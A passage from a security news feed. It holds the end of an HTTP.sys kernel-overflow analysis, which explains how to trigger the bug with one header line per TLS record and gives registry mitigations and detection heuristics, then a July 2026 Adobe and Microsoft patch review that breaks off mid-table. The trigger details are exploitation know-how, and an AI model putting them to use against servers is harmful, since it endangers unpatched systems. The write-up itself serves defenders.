class="">To trigger the overflow, an attacker crafts an HTTP request in which each header line is encapsulated in a separate TLS application data record. Given a minimum header line size of approximately 4 bytes and a required count of 65,536 buffer references, the total request size comes to roughly 262,144 bytes. The <em>MaxRequestBytes </em>registry value (at <em>HKLM\SYSTEM\CurrentControlSet\Services\HTTP\Parameters</em>) must be configured to a value of at least 262,144 bytes for the server to accept a request of this size. The default value of 16,384 bytes limits the request to approximately 4000 header lines, which is insufficient to trigger the overflow. As a mitigation, keeping <em>MaxRequestBytes</em> at or below 65,535 bytes represents the most conservative configuration to prevent this attack.</p><p class="">A remote unauthenticated attacker could exploit this vulnerability by sending a specially crafted HTTP/1.x request over a TLS connection to an affected server. Successful exploitation results in unexpected system termination due to a memory access exception in the context of the kernel. Under specific memory layout conditions, exploitation could result in arbitrary code execution in the context of the kernel.</p><p class=""><strong>Notes:</strong></p><p class="">• The vulnerability is only reachable through HTTP/1.x header parsing over TLS connections. HTTP/2 and HTTP/3 use different parser paths that do not interact with the buffer reference array.</p><p class="">• Body data parsing (Content-Length or chunked transfer encoding) does not add entries to the buffer reference array. Only header parsing triggers buffer reference growth.</p><p class="">• At a sending rate of 10 milliseconds per TLS record, the overflow requires approximately 11 minutes to trigger.</p><p class=""><strong>Source Code Walkthrough</strong></p><p class="">The following code snippet was taken from <em>HTTP.sys</em> version 10.0.26100.7705. Comments added by TrendAI Research have been highlighted.</p><p class="">In <em>UlpParseNextRequest()</em>:</p>





















  
  




  


  
  
    
    
      
        
        
        
        
          
        
        
        
      
    
  
  
    



  



  




  <p class=""><strong>Detection Guidance</strong></p><p class="">To detect an attack exploiting this vulnerability, the detection device must monitor and parse traffic on the TCP port 443.</p><p class="">The traffic on the affected port(s) is TLS-encrypted. The detection device must be able to decrypt the TLS traffic before applying the following detection method. The detection device should monitor for HTTPS connections.</p><p class="">An HTTP/1.x request [1] consists of a request line followed by zero or more header field lines, each terminated by CRLF. The following grammar defines the relevant structure:</p>





















  
  




  


  
  
    
    
      
        
        
        
        
          
        
        
        
      
    
  
  
    



  



  




  <p class=""><em>Decrypted traffic inspection:</em></p><p class="">After decrypting the TLS session, the detection device must parse the HTTP/1.x request headers. The detection device must count the number of distinct header field lines present in a single HTTP request. If the number of header field lines in a single request exceeds 1,000, the traffic should be considered suspicious; an attack exploiting this vulnerability is likely underway.</p><p class=""><em>Encrypted traffic heuristics:</em></p><p class="">Where decryption is not available, the detection device should inspect the pattern of TLS application data records within the encrypted session. If each TLS application data record contains a single short payload and the total number of such records on a single connection exceeds 1,000, the traffic should be considered suspicious; an attack exploiting this vulnerability is likely underway.</p><p class=""><em>Notes:</em></p><p class="">• The preferred detection method (header line count) requires the ability to decrypt TLS traffic, for example through TLS inspection, a decrypting proxy, or possession of the server's private key. This method directly observes the attack indicator and produces low false-positive and false-negative rates.</p><p class="">• The TLS record heuristic operates on encrypted traffic and does not require decryption. This method is more prone to false positives (legitimate applications that send many small TLS records, such as interactive streaming sessions, may trigger the heuristic) and to false negatives (the threshold is based on observable record sizes rather than the actual header count that determines exploitability). Where possible, decrypted traffic inspection should be preferred.</p><p class="">• The attack requires approximately 11 minutes of sustained connection to accumulate sufficient header lines. Connection duration monitoring may serve as a supplementary detection heuristic.</p><p class=""><strong>Conclusion</strong></p><p class="">This vulnerability was <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47291">patched</a> by Microsoft in the June 2026 release cycle. They note several mitigations that include editing the registry to ensure unpatched systems are not vulnerable to exploitation. However, the best method to ensure this bug has been fully remediated is to test and deploy the vendor-supplied patch.</p><p class="">Special thanks to Yazhi Wang and Jonathan Lein of the TrendAI Research team for providing such a thorough analysis of this vulnerability. For an overview of TrendAI Research services, please visit <a href="https://go.trendmicro.com/tis/vulnerabilities.html">https://go.trendmicro.com/tis/vulnerabilities.html</a>.</p><p class="">The threat research team will be back with other great vulnerability analysis reports in the future. Until then, follow the team on <a href="https://www.twitter.com/thezdi">Twitter</a>, <a href="https://infosec.exchange/@thezdi">Mastodon</a>, <a href="https://www.linkedin.com/company/zerodayinitiative">LinkedIn</a>, or <a href="https://bsky.app/profile/thezdi.bsky.social">Bluesky</a> for the latest in exploit techniques and security patches.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The July 2026 Security Update Review]]></title>
<description><![CDATA[Well folks. Here we are. The bug apocalypse has fully descended upon us. I’ll do my best to sort this out in some way meaningful, but this month’s release shows us the nay-sayers were right, and I’ve got to hand it to the nay-sayers here. Excellent call. Take an extended break from your regularly...]]></description>
<link>https://tsecurity.de/de/3694560/hacking/the-july-2026-security-update-review/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694560/hacking/the-july-2026-security-update-review/</guid>
<pubDate>Sat, 25 Jul 2026 19:02:51 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class="">Well folks. Here we are. The bug apocalypse has fully descended upon us. I’ll do my best to sort this out in some way meaningful, but this month’s release shows us the nay-sayers were right, and I’ve got to hand it to the nay-sayers here. Excellent call. Take an extended break from your regularly scheduled activities as we let’s take a look at the latest security patches from Adobe and Microsoft. If you’d rather watch the full video recap covering the entire release, you can check it out here:</p>





















  
  




  
















  
    
      
    
    
      
        
      
    
    
    



  






  <p class=""><strong>Adobe Patches for July 2026</strong></p><p class="">Adobe has now moved to a bimonthly release schedule, which means they will be releasing patches on the second and fourth Tuesdays of the month. I’ll continue to cover the second Tuesday release here and update this blog should the fourth Tuesday release contain anything significant. I think this is a smart way to break up a monster release into something a bit more manageable. Apple has said they are taking a similar approach. We’ll see if other vendors follow their lead.</p><p class="">For the first part of the July release, Adobe released 12 bulletins addressing 88 unique CVEs in Adobe ColdFusion, Commerce, After Effects, Animate, Audition, Bridge, Creative Cloud Desktop Application, Experience Manager, Illustrator, Media Encoder, Premiere Pro, and the Content Credentials SDK.</p><p class="">Here’s this month’s overview table:</p>





















  
  




  


  
    


<table>
<colgroup>
  <col>
  <col>
  <col>
  <col>
  <col>
  <col>
  <col>
</colgroup>
<thead>
  <tr>
    <th>Bulletin ID</th>
    <th>Product</th>
    <th>CVE Count</th>
    <th>Highest Severity</th>
    <th>Highest CVSS</th>
    <th>Exploited</th>
    <th>Deployment Priority</th>
  </tr>
</thead>
<tbody>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/coldfusion/apsb26-82.html" target="_blank">APSB26-82</a></td>
    <td>Adobe ColdFusion</td>
    <td>13</td>
    <td>Critical</td>
    <td>9.9</td>
    <td>No</td>
    <td>1</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/magento/apsb26-73.html" target="_blank">APSB26-73</a></td>
    <td>Adobe Commerce</td>
    <td>13</td>
    <td>Critical</td>
    <td>9.6</td>
    <td>No</td>
    <td>2</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/after_effects/apsb26-78.html" target="_blank">APSB26-78</a></td>
    <td>Adobe After Effects</td>
    <td>3</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/animate/apsb26-83.html" target="_blank">APSB26-83</a></td>
    <td>Adobe Animate</td>
    <td>6</td>
    <td>Critical</td>
    <td>8.6</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/audition/apsb26-71.html" target="_blank">APSB26-71</a></td>
    <td>Adobe Audition</td>
    <td>6</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/bridge/apsb26-81.html" target="_blank">APSB26-81</a></td>
    <td>Adobe Bridge</td>
    <td>6</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/creative-cloud/apsb26-77.html" target="_blank">APSB26-77</a></td>
    <td>Adobe Creative Cloud Desktop Application</td>
    <td>2</td>
    <td>Critical</td>
    <td>8.1</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/experience-manager/apsb26-74.html" target="_blank">APSB26-74</a></td>
    <td>Adobe Experience Manager</td>
    <td>13</td>
    <td>Critical</td>
    <td>9.6</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/illustrator/apsb26-79.html" target="_blank">APSB26-79</a></td>
    <td>Adobe Illustrator</td>
    <td>5</td>
    <td>Critical</td>
    <td>9.3</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/media-encoder/apsb26-72.html" target="_blank">APSB26-72</a></td>
    <td>Adobe Media Encoder</td>
    <td>5</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/premiere_pro/apsb26-76.html" target="_blank">APSB26-76</a></td>
    <td>Adobe Premiere Pro</td>
    <td>4</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/content-authenticity-sdk/apsb26-80.html" target="_blank">APSB26-80</a></td>
    <td>Content Credentials SDK</td>
    <td>12</td>
    <td>Critical</td>
    <td>8.2</td>
    <td>No</td>
    <td>3</td>
  </tr>
</tbody>
<tfoot>
  <tr>
    <td>TOTAL</td>
    <td>12 bulletins</td>
    <td>88</td>
    <td></td>
    <td></td>
    <td></td>
    <td></td>
  </tr>
</tfoot>
</table>



  
  









  <p class="">While nothing is under active exploit, I would prioritize the Cold Fusion and Commerce patches first. The patch for Cold Fusion even clocks in with a CVSS 9.9 bug. Beyond that, most of these updates are pretty straightforward. If you’re using these products, patch them. However, you can use you regular patch cadence here. </p><p class=""><strong>Microsoft Patches for July 2026</strong></p><p class="">Here it is. The Mother of All Releases. To call this record-breaking is an understatement. How to count this mess is anyone’s guess, but I see new Microsoft 621 CVEs for the month of July. Some of these are in online services where no user action is required. They also list about 480 bugs in Chromium and Microsoft Edge (Chromium-based) that I won’t cover here. Here’s how I put this in context. I looked at the last 20 years of Microsoft releases. The CVE count year-to-date exceeds all other years’ totals.</p>





















  
  














































  

    
  
    

      

      
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  <p class="">The products covered this month are also astonishing. There are patches for Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Ages of Empire II, and Minecraft Server (really!). That phrase “Windows components” does some pretty heavy lifting here, too, as just about everything you’ve ever heard of is getting patched. All told, there are 63 rated Critical, six rated Moderate, one rated Low, with the rest rated Important in severity. Eight of these bugs were submitted through the ZDI program (more on that later). Two CVEs are listed as under active exploit while one other is listed as publicly known.</p><p class="">So how do we eat this elephant? One byte at a time (pun intended). Let’s start by looking a closer look at some of the more interesting updates for this month, starting with the bugs being exploited in the wild.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56155"><strong>CVE-2026-56155</strong></a><strong> - Active Directory Federation Services Elevation of Privilege Vulnerability<br></strong>This is one of several AD FS being patched this month, but it’s the only one being actively exploited. It stems from insufficient access-control granularity and does require local access and low privileges to start, but AD FS is exactly the kind of identity infrastructure attackers love to pivot through once they're in. It can also be paired with an RCE as we often see in ransomware. Test and deploy this patch quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56154"><strong>CVE-2026-56164</strong></a><strong> - Microsoft SharePoint Server Elevation of Privilege Vulnerability<br></strong>The other bug being exploited in the wild this month is a modest CVSS 5.3 – but it shows why Moderate severity bugs still matter. It's a missing-authentication flaw, meaning an unauthenticated attacker can hit it over the network with no user interaction required. When something this reachable is being actively abused, patch it now and worry about the score later.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57092"><strong>CVE-2026-57092</strong></a><strong> - Microsoft Windows VMSwitch Elevation of Privilege Vulnerability<br></strong>This patch rates the highest CVSS score for the month: a solid 9.9. It’s a use-after-free that lets a low-privileged attacker escalate to full host compromise across a VM boundary. We saw something like this demonstrated at Pwn2Own Berlin on ESXi, but it clearly isn’t alone. If you’re using VMSwitch in your Hyper-V deployments (and you likely are), test and deploy this one quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50522"><strong>CVE-2026-50522</strong></a><strong>/</strong><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58644"><strong>58644</strong></a><strong> - Microsoft SharePoint Remote Code Execution Vulnerability<br></strong>This matching pair of CVSS 9.8 bugs results from the deserialization-of-untrusted-data and are reachable without authentication or user interaction. CVE-2026-50522 was demonstrated during <a href="https://www.zerodayinitiative.com/blog/2026/5/16/pwn2own-berlin-2026-day-three-results-and-master-of-pwn">Pwn2Own Berlin</a>, so it’s odd to see Microsoft list it as “Exploit Maturity Unknown” since we literally handed them a working exploit. Just another reason to do your own risk assessment and not rely 100% on the vendor. If you have any Internet accessible SharePoint servers, test and deploy this patch quickly. </p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56190"><strong>CVE-2026-56190</strong></a><strong> - Remote Desktop Protocol Remote Code Execution Vulnerability</strong><br> This patch covers an unauthenticated, network-reachable, no user interaction required bug. The root cause is a classic one: use of uninitialized resource (CWE-908), meaning specially crafted RDP traffic can interact with memory that was never properly initialized, letting an attacker corrupt memory and potentially steer code execution. RDP Servers are a common target, so audit your systems to see which are internet accessible and start from there. </p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55008"><strong>CVE-2026-55008</strong></a><strong> - Microsoft Exchange Server Spoofing Vulnerability<br></strong>Ignore the title here and treat this like the XSS bug it is. The vulnerability is listed as a CVSS 9.6 since it’s a stored cross-site scripting flaw in Outlook Web Access, with a scope-changed impact that lets it break out of the web app context entirely. An attacker sends a specially crafted email, and if the victim simply opens it in OWA, arbitrary JavaScript executes in their browser session — no attachment needed, no macro warning, just viewing the message does it. If you’re using OWA, test and deploy this one quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50518"><strong>CVE-2026-50518</strong></a><strong> - Windows DHCP Server Remote Code Execution Vulnerability<br></strong>There are a couple of these DHCP RCE patches in this release, but the other has caveats while this one does not. Both are heap-based buffer overflows scoring CVSS 9.8, both unauthenticated and network-reachable. If you're running DHCP Server role on anything Internet-adjacent (you're not, right?), these move to the top of the list.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56188"><strong>CVE-2026-56188</strong></a><strong> - Windows Server Network driver Remote Code Execution Vulnerability<br></strong>Another Critical-rated bug, this one is caused by a race condition. It’s always fun to see a TOCTOU bug rated this high, since race conditions are notoriously finicky to exploit reliably. While it may prove tricky to exploit, this bug could allow an attacker to execute privileged code over the network without user interaction. Don’t let the race condition lull you to sleep on a wormable bug.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55010"><strong>CVE-2026-55010</strong></a><strong> - Minecraft Bedrock Dedicated Server Remote Code Execution Vulnerability<br></strong>File this in the “why not” category. This bug is a heap-based buffer overflow in Minecraft Bedrock Dedicated Server, also CVSS 9.8 and also unauthenticated RCE. Yes, your kid’s Minecraft server (it is your kid’s server, right?) is exposed to the same class of bug as your DHCP infrastructure. Patch it anyway.</p><p class="">Here’s the full list of CVEs released by Microsoft for July 2026:</p>





















  
  




  


  
    





<link rel="File-List" href="2026-Jul-cvrf.fld/filelist.xml">













<table border="0" cellpadding="0" cellspacing="0" width="920">
 <col width="144">
 <col width="256">
 <col width="104" span="5">
 <tr height="47">
  <td width="144" class="xl65" height="47">CVE</td>
  <td width="256" class="xl65">Title</td>
  <td width="104" class="xl66">Severity</td>
  <td width="104" class="xl66">CVSS</td>
  <td width="104" class="xl66">Public</td>
  <td width="104" class="xl66">Exploited</td>
  <td width="104" class="xl66">Type</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56155"><span>CVE-2026-56155</span></a></td>
  <td width="256" class="xl74">Active Directory
  Federation Services Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl70">Yes</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56164"><span>CVE-2026-56164</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">5.3</td>
  <td class="xl69">No</td>
  <td class="xl70">Yes</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50661"><span>CVE-2026-50661</span></a></td>
  <td width="256" class="xl74">Windows BitLocker
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl70">Yes</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54121"><span>CVE-2026-54121</span></a></td>
  <td width="256" class="xl74">Active Directory
  Certificate Services Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45499"><span>CVE-2026-45499 **</span></a></td>
  <td width="256" class="xl74">Azure OpenAI Elevation
  of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48564"><span>CVE-2026-48564</span></a></td>
  <td width="256" class="xl74">DHCP Server Service
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50370"><span>CVE-2026-50370</span></a></td>
  <td width="256" class="xl74">DHCP Server Service
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56159"><span>CVE-2026-56159</span></a></td>
  <td width="256" class="xl74">DHCP Server Service
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50382"><span>CVE-2026-50382</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41106"><span>CVE-2026-41106 **</span></a></td>
  <td width="256" class="xl74">Microsoft 365 Copilot
  Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26145"><span>CVE-2026-26145 **</span></a></td>
  <td width="256" class="xl74">Microsoft Azure
  Synapse Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">4.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48561"><span>CVE-2026-48561</span></a></td>
  <td width="256" class="xl74">Microsoft Copilot
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55011"><span>CVE-2026-55011</span></a></td>
  <td width="256" class="xl74">Microsoft Defender
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55012"><span>CVE-2026-55012</span></a></td>
  <td width="256" class="xl74">Microsoft Defender
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="96">
  <td class="xl67" height="96"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55944"><span>CVE-2026-55944</span></a></td>
  <td width="256" class="xl74">Microsoft Dynamics NAV
  and Microsoft Dynamics 365 Business Central (On Premises) Remote Code
  Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57100"><span>CVE-2026-57100 **</span></a></td>
  <td width="256" class="xl74">Microsoft Entra
  Provisioning Service Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55041"><span>CVE-2026-55041</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54998"><span>CVE-2026-54998 **</span></a></td>
  <td width="256" class="xl74">Microsoft Exchange
  Online Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55008"><span>CVE-2026-55008</span></a></td>
  <td width="256" class="xl74">Microsoft Exchange
  Server Spoofing Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54992"><span>CVE-2026-54992</span></a></td>
  <td width="256" class="xl74">Microsoft Message
  Queuing Queue Manager Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50314"><span>CVE-2026-50314</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50467"><span>CVE-2026-50467</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55018"><span>CVE-2026-55018</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55022"><span>CVE-2026-55022</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55045"><span>CVE-2026-55045</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55049"><span>CVE-2026-55049</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55129"><span>CVE-2026-55129</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55056"><span>CVE-2026-55056</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55140"><span>CVE-2026-55140</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55043"><span>CVE-2026-55043</span></a></td>
  <td width="256" class="xl74">Microsoft PowerPoint
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55123"><span>CVE-2026-55123</span></a></td>
  <td width="256" class="xl74">Microsoft PowerPoint
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55120"><span>CVE-2026-55120</span></a></td>
  <td width="256" class="xl74">Microsoft PowerPoint
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50522"><span>CVE-2026-50522</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
